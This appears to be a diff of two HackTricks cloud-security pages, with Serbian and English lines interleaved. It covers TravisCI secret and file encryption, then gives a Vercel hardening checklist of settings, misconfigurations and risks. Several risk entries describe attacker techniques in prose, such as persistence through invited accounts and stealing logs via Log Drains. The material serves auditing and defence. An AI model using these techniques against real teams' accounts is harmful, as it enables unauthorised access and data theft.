- `repo`: Daje pristup za čitanje i pisanje koda, statusa commit-a, saradnika i statusa implementacije za javne i privatne repozitorijume i organizacije.
- `user:email` (read-only)
- `read:org` (read-only)
- `repo`: Grants read and write access to code, commit statuses, collaborators, and deployment statuses for public and private repositories and organizations.
## Enkriptovane tajne
## Encrypted Secrets
### Promenljive okruženja
### Environment Variables
U TravisCI, kao i na drugim CI platformama, moguće je **sačuvati tajne na nivou repozitorijuma** koje će biti sačuvane enkriptovane i biće **dekriptovane i postavljene u promenljive okruženja** mašine koja izvršava gradnju.
In TravisCI, as in other CI platforms, it's possible to **save at repo level secrets** that will be saved encrypted and be **decrypted and push in the environment variable** of the machine executing the build.
![](<../../images/image (203).png>)
Moguće je naznačiti **grane na kojima će tajne biti dostupne** (podrazumevano sve) i takođe da li TravisCI **treba da sakrije njenu vrednost** ako se pojavi **u logovima** (podrazumevano će).
It's possible to indicate the **branches to which the secrets are going to be available** (by default all) and also if TravisCI **should hide its value** if it appears **in the logs** (by default it will).
### Prilagođene enkriptovane tajne
### Custom Encrypted Secrets
Za **svaki repozitorijum** TravisCI generiše **RSA ključni par**, **čuva** **privatni** ključ, i čini **javnim ključem repozitorijuma dostupnim** onima koji imaju **pristup** repozitorijumu.
For **each repo** TravisCI generates an **RSA keypair**, **keeps** the **private** one, and makes the repositorys **public key available** to those who have **access** to the repository.
You can access the public key of one repo with:
Možete pristupiti javnom ključu jednog repozitorijuma sa:
```
travis pubkey -r <owner>/<repo_name>
travis pubkey -r carlospolop/t-ci-test
```
Zatim, možete koristiti ovu postavku da **enkriptujete tajne i dodate ih u vaš `.travis.yaml`**. Tajne će biti **dekriptovane kada se izgradnja pokrene** i biće dostupne u **promenljivim okruženja**.
Then, you can use this setup to **encrypt secrets and add them to your `.travis.yaml`**. The secrets will be **decrypted when the build is run** and accessible in the **environment variables**.
![](<../../images/image (139).png>)
Imajte na umu da tajne enkriptovane na ovaj način neće biti navedene u promenljivim okruženja podešavanja.
Note that the secrets encrypted this way won't appear listed in the environmental variables of the settings.
### Prilagođene Enkriptovane Datoteke
### Custom Encrypted Files
Same way as before, TravisCI also allows to **encrypt files and then decrypt them during the build**:
Na isti način kao i pre, TravisCI takođe omogućava da **enkriptujete datoteke i zatim ih dekriptujete tokom izgradnje**:
```
travis encrypt-file super_secret.txt -r carlospolop/t-ci-test
@@ -49,7 +52,7 @@ storing secure env variables for decryption
Please add the following to your build script (before_install stage in your .travis.yml, for instance):
openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d
openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d
Pro Tip: You can add it automatically by running with --add.
@@ -57,32 +60,36 @@ Make sure to add super_secret.txt.enc to the git repository.
Make sure not to add super_secret.txt to the git repository.
Commit all changes to your .travis.yml.
```
Napomena da će prilikom enkripcije datoteke 2 Env Varijable biti konfigurisane unutar repozitorijuma kao što su:
Note that when encrypting a file 2 Env Variables will be configured inside the repo such as:
![](<../../images/image (170).png>)
## TravisCI Enterprise
Travis CI Enterprise je **on-prem verzija Travis CI**, koju možete implementirati **u svojoj infrastrukturi**. Zamislite 'server' verziju Travis CI. Korišćenje Travis CI omogućava vam da omogućite jednostavan sistem Kontinuirane Integracije/Kontinuirane Isporuke (CI/CD) u okruženju koje možete konfigurisati i obezbediti kako želite.
Travis CI Enterprise is an **on-prem version of Travis CI**, which you can deploy **in your infrastructure**. Think of the server version of Travis CI. Using Travis CI allows you to enable an easy-to-use Continuous Integration/Continuous Deployment (CI/CD) system in an environment, which you can configure and secure as you want to.
**Travis CI Enterprise se sastoji od dva glavna dela:**
**Travis CI Enterprise consists of two major parts:**
1. TCI **usluge** (ili TCI Core Services), odgovorne za integraciju sa sistemima za kontrolu verzija, autorizaciju gradnji, zakazivanje poslova gradnje, itd.
2. TCI **Worker** i slike okruženja za gradnju (takođe nazvane OS slike).
1. TCI **services** (or TCI Core Services), responsible for integration with version control systems, authorizing builds, scheduling build jobs, etc.
2. TCI **Worker** and build environment images (also called OS images).
**TCI Core usluge zahtevaju sledeće:**
**TCI Core services require the following:**
1. **PostgreSQL11** (ili noviji) bazu podataka.
2. Infrastrukturu za implementaciju Kubernetes klastera; može se implementirati u klasteru servera ili na jednoj mašini ako je potrebno.
3. U zavisnosti od vaše konfiguracije, možda ćete želeti da implementirate i konfigurišete neke od komponenti sami, npr., RabbitMQ - pogledajte [Podešavanje Travis CI Enterprise](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) za više detalja.
1. A **PostgreSQL11** (or later) database.
2. An infrastructure to deploy a Kubernetes cluster; it can be deployed in a server cluster or in a single machine if required
3. Depending on your setup, you may want to deploy and configure some of the components on your own, e.g., RabbitMQ - see the [Setting up Travis CI Enterprise](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) for more details.
**TCI Worker zahteva sledeće:**
**TCI Worker requires the following:**
1. Infrastrukturu gde se može implementirati docker slika koja sadrži **Worker i povezanu sliku za gradnju**.
2. Povezivost sa određenim komponentama Travis CI Core Services - pogledajte [Podešavanje Workera](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) za više detalja.
1. An infrastructure where a docker image containing the **Worker and a linked build image can be deployed**.
2. Connectivity to certain Travis CI Core Services components - see the [Setting Up Worker](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) for more details.
Količina implementiranih TCI Worker i OS slika okruženja za gradnju odrediće ukupni kapacitet istovremenog korišćenja Travis CI Enterprise implementacije u vašoj infrastrukturi.
The amount of deployed TCI Worker and build environment OS images will determine the total concurrent capacity of Travis CI Enterprise deployment in your infrastructure.
![](<../../images/image (199).png>)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -2,436 +2,439 @@
{{#include ../banners/hacktricks-training.md}}
## Osnovne informacije
## Basic Information
U Vercelu, **Tim** je kompletno **okruženje** koje pripada klijentu, a **projekat** je **aplikacija**.
In Vercel a **Team** is the complete **environment** that belongs a client and a **project** is an **application**.
Za pregled učvršćivanja **Vercela** potrebno je zatražiti korisnika sa **Viewer role permission** ili barem **Project viewer permission over the projects** da bi se proverilo (u slučaju da je potrebno proveriti samo projekte, a ne i konfiguraciju Tima).
For a hardening review of **Vercel** you need to ask for a user with **Viewer role permission** or at least **Project viewer permission over the projects** to check (in case you only need to check the projects and not the Team configuration also).
## Podešavanja projekta
## Project Settings
### Opšte
### General
**Svrha:** Upravljanje osnovnim podešavanjima projekta kao što su naziv projekta, okvir i konfiguracije izgradnje.
**Purpose:** Manage fundamental project settings such as project name, framework, and build configurations.
#### Konfiguracije bezbednosti:
#### Security Configurations:
- **Transfer**
- **Pogrešna konfiguracija:** Omogućava prenos projekta na drugi tim
- **Rizik:** Napadač bi mogao ukrasti projekat
- **Obriši projekat**
- **Pogrešna konfiguracija:** Omogućava brisanje projekta
- **Rizik:** Obriši projekat
- **Misconfiguration:** Allows to transfer the project to another team
- **Risk:** An attacker could steal the project
- **Delete Project**
- **Misconfiguration:** Allows to delete the project
- **Risk:** Delete the prject
---
### Domeni
### Domains
**Svrha:** Upravljanje prilagođenim domenima, DNS podešavanjima i SSL konfiguracijama.
**Purpose:** Manage custom domains, DNS settings, and SSL configurations.
#### Konfiguracije bezbednosti:
#### Security Configurations:
- **Greške u DNS konfiguraciji**
- **Pogrešna konfiguracija:** Neispravni DNS zapisi (A, CNAME) koji upućuju na zlonamerne servere.
- **Rizik:** Otmica domena, presretanje saobraćaja i phishing napadi.
- **Upravljanje SSL/TLS sertifikatima**
- **Pogrešna konfiguracija:** Korišćenje slabih ili istečenih SSL/TLS sertifikata.
- **Rizik:** Ranljivost na napade "man-in-the-middle" (MITM), kompromitovanje integriteta i poverljivosti podataka.
- **Implementacija DNSSEC**
- **Pogrešna konfiguracija:** Neaktiviranje DNSSEC ili pogrešna DNSSEC podešavanja.
- **Rizik:** Povećana podložnost napadima DNS spoofing i cache poisoning.
- **Okruženje korišćeno po domenu**
- **Pogrešna konfiguracija:** Promena okruženja koje koristi domen u produkciji.
- **Rizik:** Izlaganje potencijalnih tajni ili funkcionalnosti koje ne bi trebale biti dostupne u produkciji.
- **DNS Configuration Errors**
- **Misconfiguration:** Incorrect DNS records (A, CNAME) pointing to malicious servers.
- **Risk:** Domain hijacking, traffic interception, and phishing attacks.
- **SSL/TLS Certificate Management**
- **Misconfiguration:** Using weak or expired SSL/TLS certificates.
- **Risk:** Vulnerable to man-in-the-middle (MITM) attacks, compromising data integrity and confidentiality.
- **DNSSEC Implementation**
- **Misconfiguration:** Failing to enable DNSSEC or incorrect DNSSEC settings.
- **Risk:** Increased susceptibility to DNS spoofing and cache poisoning attacks.
- **Environment used per domain**
- **Misconfiguration:** Change the environment used by the domain in production.
- **Risk:** Expose potential secrets or functionalities taht shouldn't be available in production.
---
### Okruženja
### Environments
**Svrha:** Definisanje različitih okruženja (Razvoj, Pregled, Produkcija) sa specifičnim podešavanjima i varijablama.
**Purpose:** Define different environments (Development, Preview, Production) with specific settings and variables.
#### Konfiguracije bezbednosti:
#### Security Configurations:
- **Izolacija okruženja**
- **Pogrešna konfiguracija:** Deljenje varijabli okruženja između okruženja.
- **Rizik:** Curjenje produkcijskih tajni u razvojna ili pregledna okruženja, povećavajući izloženost.
- **Pristup osetljivim okruženjima**
- **Pogrešna konfiguracija:** Omogućavanje širokog pristupa produkcijskim okruženjima.
- **Rizik:** Neovlašćene promene ili pristup aktivnim aplikacijama, što može dovesti do potencijalnih prekida rada ili curenja podataka.
- **Environment Isolation**
- **Misconfiguration:** Sharing environment variables across environments.
- **Risk:** Leakage of production secrets into development or preview environments, increasing exposure.
- **Access to Sensitive Environments**
- **Misconfiguration:** Allowing broad access to production environments.
- **Risk:** Unauthorized changes or access to live applications, leading to potential downtimes or data breaches.
---
### Varijable okruženja
### Environment Variables
**Svrha:** Upravljanje varijablama i tajnama specifičnim za okruženje koje koristi aplikacija.
**Purpose:** Manage environment-specific variables and secrets used by the application.
#### Konfiguracije bezbednosti:
#### Security Configurations:
- **Izlaganje osetljivih varijabli**
- **Pogrešna konfiguracija:** Prefiksiranje osetljivih varijabli sa `NEXT_PUBLIC_`, čineći ih dostupnim na klijentskoj strani.
- **Rizik:** Izlaganje API ključeva, kredencijala baze podataka ili drugih osetljivih podataka javnosti, što dovodi do curenja podataka.
- **Osetljivo onemogućeno**
- **Pogrešna konfiguracija:** Ako je onemogućeno (podrazumevano) moguće je pročitati vrednosti generisanih tajni.
- **Rizik:** Povećana verovatnoća slučajnog izlaganja ili neovlašćenog pristupa osetljivim informacijama.
- **Deljene varijable okruženja**
- **Pogrešna konfiguracija:** Ovo su varijable okruženja postavljene na nivou Tima i mogu takođe sadržati osetljive informacije.
- **Rizik:** Povećana verovatnoća slučajnog izlaganja ili neovlašćenog pristupa osetljivim informacijama.
- **Exposing Sensitive Variables**
- **Misconfiguration:** Prefixing sensitive variables with `NEXT_PUBLIC_`, making them accessible on the client side.
- **Risk:** Exposure of API keys, database credentials, or other sensitive data to the public, leading to data breaches.
- **Sensitive disabled**
- **Misconfiguration:** If disabled (default) it's possible to read the values of the generated secrets.
- **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information.
- **Shared Environment Variables**
- **Misconfiguration:** These are env variables set at Team level and could also contain sensitive information.
- **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information.
---
### Git
**Svrha:** Konfigurišite integracije Git repozitorijuma, zaštitu grana i okidače za implementaciju.
**Purpose:** Configure Git repository integrations, branch protections, and deployment triggers.
#### Konfiguracije bezbednosti:
#### Security Configurations:
- **Ignorisani korak izgradnje (TODO)**
- **Pogrešna konfiguracija:** Čini se da ova opcija omogućava konfiguraciju bash skripte/komandi koje će se izvršiti kada se novi commit pošalje na Github, što bi moglo omogućiti RCE.
- **Rizik:** TBD
- **Ignored Build Step (TODO)**
- **Misconfiguration:** It looks like this option allows to configure a bash script/commands that will be executed when a new commit is pushed in Github, which could allow RCE.
- **Risk:** TBD
---
### Integracije
### Integrations
**Svrha:** Povezivanje usluga i alata trećih strana za poboljšanje funkcionalnosti projekta.
**Purpose:** Connect third-party services and tools to enhance project functionalities.
#### Konfiguracije bezbednosti:
#### Security Configurations:
- **Neosigurane integracije trećih strana**
- **Pogrešna konfiguracija:** Integracija sa nepouzdanim ili neosiguranim uslugama trećih strana.
- **Rizik:** Uvođenje ranjivosti, curenje podataka ili backdoor-ova kroz kompromitovane integracije.
- **Prekomerno ovlašćene integracije**
- **Pogrešna konfiguracija:** Dodeljivanje prekomernih ovlašćenja integrisanim uslugama.
- **Rizik:** Neovlašćen pristup resursima projekta, manipulacija podacima ili prekidi usluga.
- **Nedostatak praćenja integracija**
- **Pogrešna konfiguracija:** Nepratiti i neauditovati integracije trećih strana.
- **Rizik:** Odloženo otkrivanje kompromitovanih integracija, povećavajući potencijalni uticaj bezbednosnih povreda.
- **Insecure Third-Party Integrations**
- **Misconfiguration:** Integrating with untrusted or insecure third-party services.
- **Risk:** Introduction of vulnerabilities, data leaks, or backdoors through compromised integrations.
- **Over-Permissioned Integrations**
- **Misconfiguration:** Granting excessive permissions to integrated services.
- **Risk:** Unauthorized access to project resources, data manipulation, or service disruptions.
- **Lack of Integration Monitoring**
- **Misconfiguration:** Failing to monitor and audit third-party integrations.
- **Risk:** Delayed detection of compromised integrations, increasing the potential impact of security breaches.
---
### Zaštita implementacije
### Deployment Protection
**Svrha:** Osiguranje implementacija kroz različite mehanizme zaštite, kontrolišući ko može pristupiti i implementirati u vaša okruženja.
**Purpose:** Secure deployments through various protection mechanisms, controlling who can access and deploy to your environments.
#### Konfiguracije bezbednosti:
#### Security Configurations:
**Vercel autentifikacija**
**Vercel Authentication**
- **Pogrešna konfiguracija:** Onemogućavanje autentifikacije ili neprovođenje provere članova tima.
- **Rizik:** Neovlašćeni korisnici mogu pristupiti implementacijama, što dovodi do curenja podataka ili zloupotrebe aplikacija.
- **Misconfiguration:** Disabling authentication or not enforcing team member checks.
- **Risk:** Unauthorized users can access deployments, leading to data breaches or application misuse.
**Zaobilaženje zaštite za automatizaciju**
**Protection Bypass for Automation**
- **Pogrešna konfiguracija:** Javna izloženost tajne zaobilaženja ili korišćenje slabih tajni.
- **Rizik:** Napadači mogu zaobići zaštitu implementacije, pristupajući i manipulišući zaštićenim implementacijama.
- **Misconfiguration:** Exposing the bypass secret publicly or using weak secrets.
- **Risk:** Attackers can bypass deployment protections, accessing and manipulating protected deployments.
**Deljivi linkovi**
**Shareable Links**
- **Pogrešna konfiguracija:** Deljenje linkova bez razmišljanja ili neukidanje zastarelih linkova.
- **Rizik:** Neovlašćen pristup zaštićenim implementacijama, zaobilazeći autentifikaciju i IP ograničenja.
- **Misconfiguration:** Sharing links indiscriminately or failing to revoke outdated links.
- **Risk:** Unauthorized access to protected deployments, bypassing authentication and IP restrictions.
**OPTIONS Allowlist**
- **Pogrešna konfiguracija:** Prekomerno široko dozvoljavanje putanja ili osetljivih krajnjih tačaka.
- **Rizik:** Napadači mogu iskoristiti nezaštićene putanje za izvršavanje neovlašćenih radnji ili zaobilaženje bezbednosnih provera.
- **Misconfiguration:** Allowlisting overly broad paths or sensitive endpoints.
- **Risk:** Attackers can exploit unprotected paths to perform unauthorized actions or bypass security checks.
**Zaštita lozinkom**
**Password Protection**
- **Pogrešna konfiguracija:** Korišćenje slabih lozinki ili njihovo nesigurno deljenje.
- **Rizik:** Neovlašćen pristup implementacijama ako se lozinke pogode ili procure.
- **Napomena:** Dostupno na **Pro** planu kao deo **Napredne zaštite implementacije** za dodatnih $150/mesečno.
- **Misconfiguration:** Using weak passwords or sharing them insecurely.
- **Risk:** Unauthorized access to deployments if passwords are guessed or leaked.
- **Note:** Available on the **Pro** plan as part of **Advanced Deployment Protection** for an additional $150/month.
**Izuzeci zaštite implementacije**
**Deployment Protection Exceptions**
- **Pogrešna konfiguracija:** Nehotice dodavanje produkcijskih ili osetljivih domena na listu izuzetaka.
- **Rizik:** Izlaganje kritičnih implementacija javnosti, što dovodi do curenja podataka ili neovlašćenog pristupa.
- **Napomena:** Dostupno na **Pro** planu kao deo **Napredne zaštite implementacije** za dodatnih $150/mesečno.
- **Misconfiguration:** Adding production or sensitive domains to the exception list inadvertently.
- **Risk:** Exposure of critical deployments to the public, leading to data leaks or unauthorized access.
- **Note:** Available on the **Pro** plan as part of **Advanced Deployment Protection** for an additional $150/month.
**Poverljivi IP-ovi**
**Trusted IPs**
- **Pogrešna konfiguracija:** Pogrešno određivanje IP adresa ili CIDR opsega.
- **Rizik:** Legitimni korisnici mogu biti blokirani ili neovlašćeni IP-ovi mogu dobiti pristup.
- **Napomena:** Dostupno na **Enterprise** planu.
- **Misconfiguration:** Incorrectly specifying IP addresses or CIDR ranges.
- **Risk:** Legitimate users being blocked or unauthorized IPs gaining access.
- **Note:** Available on the **Enterprise** plan.
---
### Funkcije
### Functions
**Svrha:** Konfigurišite serverless funkcije, uključujući podešavanja vremena izvršavanja, alokaciju memorije i bezbednosne politike.
**Purpose:** Configure serverless functions, including runtime settings, memory allocation, and security policies.
#### Konfiguracije bezbednosti:
#### Security Configurations:
- **Ništa**
- **Nothing**
---
### Keš podataka
### Data Cache
**Svrha:** Upravljanje strategijama i podešavanjima keširanja za optimizaciju performansi i kontrolu skladištenja podataka.
**Purpose:** Manage caching strategies and settings to optimize performance and control data storage.
#### Konfiguracije bezbednosti:
#### Security Configurations:
- **Očisti keš**
- **Pogrešna konfiguracija:** Omogućava brisanje celog keša.
- **Rizik:** Neovlašćeni korisnici brišu keš, što može dovesti do potencijalnog DoS.
- **Purge Cache**
- **Misconfiguration:** It allows to delete all the cache.
- **Risk:** Unauthorized users deleting the cache leading to a potential DoS.
---
### Cron poslovi
### Cron Jobs
**Svrha:** Zakazivanje automatizovanih zadataka i skripti da se izvršavaju u određenim intervalima.
**Purpose:** Schedule automated tasks and scripts to run at specified intervals.
#### Konfiguracije bezbednosti:
#### Security Configurations:
- **Onemogući Cron posao**
- **Pogrešna konfiguracija:** Omogućava onemogućavanje cron poslova deklarisanih unutar koda.
- **Rizik:** Potencijalno prekidanje usluge (u zavisnosti od toga za šta su cron poslovi bili namenjeni).
- **Disable Cron Job**
- **Misconfiguration:** It allows to disable cron jobs declared inside the code
- **Risk:** Potential interruption of the service (depending on what the cron jobs were meant for)
---
### Log Drains
**Svrha:** Konfigurišite spoljne usluge za logovanje kako biste zabeležili i čuvali logove aplikacije za praćenje i reviziju.
**Purpose:** Configure external logging services to capture and store application logs for monitoring and auditing.
#### Konfiguracije bezbednosti:
#### Security Configurations:
- Ništa (upravljano iz podešavanja timova)
- Nothing (managed from teams settings)
---
### Bezbednost
### Security
**Svrha:** Centralno mesto za različita podešavanja vezana za bezbednost koja utiču na pristup projektu, zaštitu izvora i još mnogo toga.
**Purpose:** Central hub for various security-related settings affecting project access, source protection, and more.
#### Konfiguracije bezbednosti:
#### Security Configurations:
**Logovi izgradnje i zaštita izvora**
**Build Logs and Source Protection**
- **Pogrešna konfiguracija:** Onemogućavanje zaštite ili izlaganje `/logs` i `/src` putanja javno.
- **Rizik:** Neovlašćen pristup logovima izgradnje i izvoru koda, što dovodi do curenja informacija i potencijalne eksploatacije ranjivosti.
- **Misconfiguration:** Disabling protection or exposing `/logs` and `/src` paths publicly.
- **Risk:** Unauthorized access to build logs and source code, leading to information leaks and potential exploitation of vulnerabilities.
**Zaštita Git forkova**
**Git Fork Protection**
- **Pogrešna konfiguracija:** Omogućavanje neovlašćenih pull zahteva bez odgovarajućih pregleda.
- **Rizik:** Zlonamerni kod može biti spojen u kodnu bazu, uvodeći ranjivosti ili backdoor-ove.
- **Misconfiguration:** Allowing unauthorized pull requests without proper reviews.
- **Risk:** Malicious code can be merged into the codebase, introducing vulnerabilities or backdoors.
**Siguran pristup backend-u sa OIDC federacijom**
**Secure Backend Access with OIDC Federation**
- **Pogrešna konfiguracija:** Pogrešno postavljanje OIDC parametara ili korišćenje nesigurnih URL-ova izdavača.
- **Rizik:** Neovlašćen pristup backend uslugama kroz neispravne tokove autentifikacije.
- **Misconfiguration:** Incorrectly setting up OIDC parameters or using insecure issuer URLs.
- **Risk:** Unauthorized access to backend services through flawed authentication flows.
**Politika zadržavanja implementacije**
**Deployment Retention Policy**
- **Pogrešna konfiguracija:** Postavljanje perioda zadržavanja prekratko (gubitak istorije implementacije) ili predugo (nepotrebno zadržavanje podataka).
- **Rizik:** Nemogućnost vraćanja na prethodne verzije kada je to potrebno ili povećan rizik od izlaganja podataka iz starih implementacija.
- **Misconfiguration:** Setting retention periods too short (losing deployment history) or too long (unnecessary data retention).
- **Risk:** Inability to perform rollbacks when needed or increased risk of data exposure from old deployments.
**Nedavno obrisane implementacije**
**Recently Deleted Deployments**
- **Pogrešna konfiguracija:** Nepratiti obrisane implementacije ili oslanjanje isključivo na automatska brisanja.
- **Rizik:** Gubitak kritične istorije implementacije, otežavajući revizije i vraćanja.
- **Misconfiguration:** Not monitoring deleted deployments or relying solely on automated deletions.
- **Risk:** Loss of critical deployment history, hindering audits and rollbacks.
---
### Napredno
### Advanced
**Svrha:** Pristup dodatnim podešavanjima projekta za fino podešavanje konfiguracija i poboljšanje bezbednosti.
**Purpose:** Access to additional project settings for fine-tuning configurations and enhancing security.
#### Konfiguracije bezbednosti:
#### Security Configurations:
**Lista direktorijuma**
**Directory Listing**
- **Pogrešna konfiguracija:** Omogućavanje liste direktorijuma omogućava korisnicima da vide sadržaj direktorijuma bez indeksnog fajla.
- **Rizik:** Izlaganje osetljivih fajlova, strukture aplikacije i potencijalnih ulaznih tačaka za napade.
- **Misconfiguration:** Enabling directory listing allows users to view directory contents without an index file.
- **Risk:** Exposure of sensitive files, application structure, and potential entry points for attacks.
---
## Firewall projekta
## Project Firewall
### Firewall
#### Konfiguracije bezbednosti:
#### Security Configurations:
**Omogući izazov napada**
**Enable Attack Challenge Mode**
- **Pogrešna konfiguracija:** Omogućavanje ovoga poboljšava odbranu web aplikacije protiv DoS, ali na račun upotrebljivosti.
- **Rizik:** Potencijalni problemi sa korisničkim iskustvom.
- **Misconfiguration:** Enabling this improves the defenses of the web application against DoS but at the cost of usability
- **Risk:** Potential user experience problems.
### Prilagođena pravila i blokiranje IP-a
### Custom Rules & IP Blocking
- **Pogrešna konfiguracija:** Omogućava otključavanje/blokiranje saobraćaja.
- **Rizik:** Potencijalni DoS omogućavajući zlonamerni saobraćaj ili blokirajući benigni saobraćaj.
- **Misconfiguration:** Allows to unblock/block traffic
- **Risk:** Potential DoS allowing malicious traffic or blocking benign traffic
---
## Implementacija projekta
## Project Deployment
### Izvor
### Source
- **Pogrešna konfiguracija:** Omogućava pristup za čitanje kompletnog izvornog koda aplikacije.
- **Rizik:** Potencijalno izlaganje osetljivih informacija.
- **Misconfiguration:** Allows access to read the complete source code of the application
- **Risk:** Potential exposure of sensitive information
### Zaštita od pomeranja
### Skew Protection
- **Pogrešna konfiguracija:** Ova zaštita osigurava da klijentska i serverska aplikacija uvek koriste istu verziju kako ne bi došlo do desinkronizacije kada klijent koristi drugačiju verziju od servera i stoga se ne razumeju.
- **Rizik:** Onemogućavanje ovoga (ako je omogućeno) moglo bi izazvati DoS probleme u novim implementacijama u budućnosti.
- **Misconfiguration:** This protection ensures the client and server application are always using the same version so there is no desynchronizations were the client uses a different version from the server and therefore they don't understand each other.
- **Risk:** Disabling this (if enabled) could cause DoS problems in new deployments in the future
---
## Podešavanja tima
## Team Settings
### Opšte
### General
#### Konfiguracije bezbednosti:
#### Security Configurations:
- **Transfer**
- **Pogrešna konfiguracija:** Omogućava prenos svih projekata na drugi tim.
- **Rizik:** Napadač bi mogao ukrasti projekte.
- **Obriši projekat**
- **Pogrešna konfiguracija:** Omogućava brisanje tima sa svim projektima.
- **Rizik:** Obriši projekte.
- **Misconfiguration:** Allows to transfer all the projects to another team
- **Risk:** An attacker could steal the projects
- **Delete Project**
- **Misconfiguration:** Allows to delete the team with all the projects
- **Risk:** Delete the projects
---
### Fakturisanje
### Billing
#### Konfiguracije bezbednosti:
#### Security Configurations:
- **Limit troškova Speed Insights**
- **Pogrešna konfiguracija:** Napadač bi mogao povećati ovaj broj.
- **Rizik:** Povećani troškovi.
- **Speed Insights Cost Limit**
- **Misconfiguration:** An attacker could increase this number
- **Risk:** Increased costs
---
### Članovi
### Members
#### Konfiguracije bezbednosti:
#### Security Configurations:
- **Dodaj članove**
- **Pogrešna konfiguracija:** Napadač bi mogao održati postojanost pozivajući nalog koji kontroliše.
- **Rizik:** Postojanost napadača.
- **Uloge**
- **Pogrešna konfiguracija:** Dodeljivanje previše ovlašćenja ljudima kojima to nije potrebno povećava rizik od konfiguracije Vercela. Proverite sve moguće uloge na [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles).
- **Rizik:** Povećava izloženost Vercel Tima.
- **Add members**
- **Misconfiguration:** An attacker could maintain persitence inviting an account he control
- **Risk:** Attacker persistence
- **Roles**
- **Misconfiguration:** Granting too many permissions to people that doesn't need it increases the risk of the vercel configuration. Check all the possible roles in [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles)
- **Risk**: Increate the exposure of the Vercel Team
---
### Grupe pristupa
### Access Groups
**Grupa pristupa** u Vercelu je kolekcija projekata i članova tima sa unapred definisanim dodelama uloga, omogućavajući centralizovano i pojednostavljeno upravljanje pristupom kroz više projekata.
An **Access Group** in Vercel is a collection of projects and team members with predefined role assignments, enabling centralized and streamlined access management across multiple projects.
**Potencijalne pogrešne konfiguracije:**
**Potential Misconfigurations:**
- **Prekomerno ovlašćivanje članova:** Dodeljivanje uloga sa više ovlašćenja nego što je potrebno, što dovodi do neovlašćenog pristupa ili radnji.
- **Pogrešne dodela uloga:** Pogrešno dodeljivanje uloga koje se ne poklapaju sa odgovornostima članova tima, uzrokujući eskalaciju privilegija.
- **Nedostatak segregacije projekata:** Neodvajanje osetljivih projekata, omogućavajući širi pristup nego što je planirano.
- **Nedovoljno upravljanje grupama:** Nepravilno pregledanje ili ažuriranje Grupa pristupa, što rezultira zastarelim ili neprimerenim pristupnim dozvolama.
- **Nepodudarne definicije uloga:** Korišćenje nepodudarnih ili nejasnih definicija uloga kroz različite Grupe pristupa, što dovodi do konfuzije i bezbednosnih praznina.
- **Over-Permissioning Members:** Assigning roles with more permissions than necessary, leading to unauthorized access or actions.
- **Improper Role Assignments:** Incorrectly assigning roles that do not align with team members' responsibilities, causing privilege escalation.
- **Lack of Project Segregation:** Failing to separate sensitive projects, allowing broader access than intended.
- **Insufficient Group Management:** Not regularly reviewing or updating Access Groups, resulting in outdated or inappropriate access permissions.
- **Inconsistent Role Definitions:** Using inconsistent or unclear role definitions across different Access Groups, leading to confusion and security gaps.
---
### Log Drains
#### Konfiguracije bezbednosti:
#### Security Configurations:
- **Log Drains ka trećim stranama:**
- **Pogrešna konfiguracija:** Napadač bi mogao konfigurisati Log Drain da ukrade logove.
- **Rizik:** Delimična postojanost.
- **Log Drains to third parties:**
- **Misconfiguration:** An attacker could configure a Log Drain to steal the logs
- **Risk:** Partial persistence
---
### Bezbednost i privatnost
### Security & Privacy
#### Konfiguracije bezbednosti:
#### Security Configurations:
- **Domen e-pošte tima:** Kada je konfigurisano, ovo podešavanje automatski poziva Vercel lične naloge sa adresama e-pošte koje se završavaju na specificiranom domenu (npr. `mydomain.com`) da se pridruže vašem timu prilikom registracije i na kontrolnoj tabli.
- **Pogrešna konfiguracija:**
- Određivanje pogrešnog domena e-pošte ili pogrešno napisani domen u podešavanju domena e-pošte tima.
- Korišćenje uobičajenog domena e-pošte (npr. `gmail.com`, `hotmail.com`) umesto domena specifičnog za kompaniju.
- **Rizici:**
- **Neovlašćen pristup:** Korisnici sa adresama e-pošte iz nepredviđenih domena mogu primiti pozivnice da se pridruže vašem timu.
- **Izlaganje podataka:** Potencijalno izlaganje osetljivih informacija o projektu neovlašćenim osobama.
- **Zaštićeni Git opsezi:** Omogućava vam da dodate do 5 Git opsega vašem timu kako biste sprečili druge Vercel timove da implementiraju repozitorijume iz zaštićenog opsega. Više timova može odrediti isti opseg, omogućavajući pristup obema timovima.
- **Pogrešna konfiguracija:** Ne dodavanje kritičnih Git opsega na zaštićenu listu.
- **Rizici:**
- **Neovlašćene implementacije:** Drugi timovi mogu implementirati repozitorijume iz Git opsega vaše organizacije bez odobrenja.
- **Izlaganje intelektualne svojine:** Proprietarni kod može biti implementiran i dostupan izvan vašeg tima.
- **Politike varijabli okruženja:** Sprovodi politike za kreiranje i uređivanje varijabli okruženja tima. Konkretno, možete sprovoditi da se sve varijable okruženja kreiraju kao **Osetljive varijable okruženja**, koje može dekriptovati samo Vercelov sistem implementacije.
- **Pogrešna konfiguracija:** Održavanje onemogućavanja sprovodjenja osetljivih varijabli okruženja.
- **Rizici:**
- **Izlaganje tajni:** Varijable okruženja mogu biti pregledane ili uređene od strane neovlašćenih članova tima.
- **Curanje podataka:** Osetljive informacije kao što su API ključevi i kredencijali mogli bi procuriti.
- **Revizijski log:** Pruža izvoz aktivnosti tima za poslednjih do 90 dana. Revizijski logovi pomažu u praćenju i praćenju radnji koje su izvršili članovi tima.
- **Pogrešna konfiguracija:**\
Dodeljivanje pristupa revizijskim logovima neovlašćenim članovima tima.
- **Rizici:**
- **Povrede privatnosti:** Izlaganje osetljivih korisničkih aktivnosti i podataka.
- **Manipulacija logovima:** Zlonamerni akteri mogli bi izmeniti ili obrisati logove kako bi prikrili svoje tragove.
